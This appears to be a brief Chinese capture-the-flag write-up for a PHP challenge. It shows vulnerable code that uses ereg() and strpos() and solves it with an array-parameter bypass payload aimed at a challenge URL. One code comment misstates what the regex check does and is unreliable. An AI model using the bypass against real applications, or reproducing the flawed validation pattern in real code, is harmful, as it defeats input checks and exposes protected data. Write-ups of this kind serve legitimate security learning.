标签:strpos false == lse 链接 val csdn echo str
<?php
$flag = "flag";
if (isset ($_GET[‘password‘])) {
if (ereg ("^[a-zA-Z0-9]+$", $_GET[‘password‘]) === FALSE)
//传入的参数中不能存在a-zA-Z0-9中任意一值
echo ‘You password must be alphanumeric‘;
else if (strpos ($_GET[‘password‘], ‘--‘) !== FALSE)
//传入的参数必须有--
die(‘Flag: ‘ . $flag);
else
echo ‘Invalid password‘;
}
?>
数组绕过
payload:
http://123.206.87.240:9009/19.php?password[]=--
参考链接:
https://blog.csdn.net/qq_36869808/article/details/83538779
标签:strpos false == lse 链接 val csdn echo str
原文地址:https://www.cnblogs.com/observering/p/12831230.html